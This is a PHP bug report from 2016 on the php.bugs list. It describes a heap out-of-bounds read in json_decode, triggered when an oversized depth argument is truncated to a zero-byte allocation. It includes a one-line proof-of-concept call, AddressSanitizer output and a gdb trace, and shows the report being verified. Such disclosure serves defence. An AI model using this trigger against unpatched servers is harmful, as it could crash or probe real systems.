Bug #72787 [Opn->Ver]: json_decode reads out of bounds

From: Date: Mon, 08 Aug 2016 21:52:15 +0000
Subject: Bug #72787 [Opn->Ver]: json_decode reads out of bounds
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-203100@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72787&edit=1 ID: 72787 Updated by: cmb@php.net Reported by: fernando at null-life dot com Summary: json_decode reads out of bounds -Status: Open +Status: Verified Type: Bug Package: JSON related Operating System: Linux x86_64 PHP Version: 5.6.24 Block user comment: N Private report: N New Comment: I can confirm the issue checking with valgrind. Previous Comments: ------------------------------------------------------------------------ [2016-08-08 19:33:39] fernando at null-life dot com Description: ------------ When depth parameter is greater than 0xffffffff, cast to int (32 bytes) happen. Moreover, if last four bytes of depth parameter are 0x0, then new_JSON_parser function allocates 0 bytes. Later, parse_JSON_ex reads out of bounds. Source code: https://github.com/php/php-src/blob/PHP-5.6.25/ext/json/JSON_parser.c#L249 JSON_parser new_JSON_parser(int depth) { JSON_parser jp = (JSON_parser)emalloc(sizeof(struct JSON_parser_struct)); jp->state = GO; jp->depth = depth; jp->top = -1; jp->error_code = PHP_JSON_ERROR_NONE; jp->stack = (int*)ecalloc(depth, sizeof(int)); // depth = 0 if (depth > JSON_PARSER_DEFAULT_DEPTH) { jp->the_zstack = (zval **)safe_emalloc(depth, sizeof(zval), 0); } else { jp->the_zstack = &jp->the_static_zstack[0]; } push(jp, MODE_DONE); return jp; } Test script: --------------- poc.php <?php json_decode('""', false, 0x100000000); Expected result: ---------------- No crash Actual result: -------------- ASan output: ==8971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ff10 at pc 0x000000bc1e79 bp 0x7ffd151ad790 sp 0x7ffd151ad780 READ of size 4 at 0x60200000ff10 thread T0 #0 0xbc1e78 in parse_JSON_ex /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 #1 0xbb4a3a in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:709 #2 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848 #3 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558 #4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363 #5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341 #6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613 #7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994 #8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378 #9 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8) 0x60200000ff11 is located 0 bytes to the right of 1-byte region [0x60200000ff10,0x60200000ff11) allocated by thread T0 here: #0 0x7f16402df602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x17fcf69 in _ecalloc /home/operac/build2/php-src-56/Zend/zend_alloc.c:2610 #2 0xbbbb4c in new_JSON_parser /home/operac/build2/php-src-56/ext/json/JSON_parser.c:249 #3 0xbb4a10 in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:708 #4 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848 #5 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558 #6 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363 #7 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341 #8 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613 #9 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994 #10 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378 #11 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 parse_JSON_ex ... GDB output: USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build2/bin/php -n poc.php No symbol table is loaded. Use the "file" command. Breakpoint 1 (__asan_report_error) pending. Reading symbols from /home/operac/build2/bin/php...done. gdb-peda$ b json.c:708 Breakpoint 2 at 0xbb4a09: file /home/operac/build2/php-src-56/ext/json/json.c, line 708. gdb-peda$ b new_JSON_parser Breakpoint 3 at 0xbbb930: file /home/operac/build2/php-src-56/ext/json/JSON_parser.c, line 243. gdb-peda$ r ... Breakpoint 2, php_json_decode_ex (return_value=return_value@entry=0x60300004cd50, str=0x7ffff7e683a8 "\"\"", str_len=0x2, options=<optimized out>, depth=0x100000000) at /home/operac/build2/php-src-56/ext/json/json.c:708 708 jp = new_JSON_parser(depth); gdb-peda$ p depth $1 = 0x100000000 gdb-peda$ c Continuing. ... Breakpoint 3, new_JSON_parser (depth=depth@entry=0x0) at /home/operac/build2/php-src-56/ext/json/JSON_parser.c:243 243 { gdb-peda$ p depth $2 = 0x0 // Cast to 32bits gdb-peda$ b _ecalloc Breakpoint 4 at 0x17fce90: file /home/operac/build2/php-src-56/Zend/zend_alloc.c, line 2603. gdb-peda$ c ... Breakpoint 4, _ecalloc (nmemb=nmemb@entry=0x0, size=size@entry=0x4, __zend_filename=__zend_filename@entry=0x21ad500 "/home/operac/build2/php-src-56/ext/json/JSON_parser.c", __zend_lineno=__zend_lineno@entry=0xf9, __zend_orig_filename=__zend_orig_filename@entry=0x0, __zend_orig_lineno=__zend_orig_lineno@entry=0x0) at /home/operac/build2/php-src-56/Zend/zend_alloc.c:2603 2603 { gdb-peda$ p nmemb $3 = 0x0 // Allocate 0 bytes ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72787&edit=1

« previous php.bugs (#203100) next »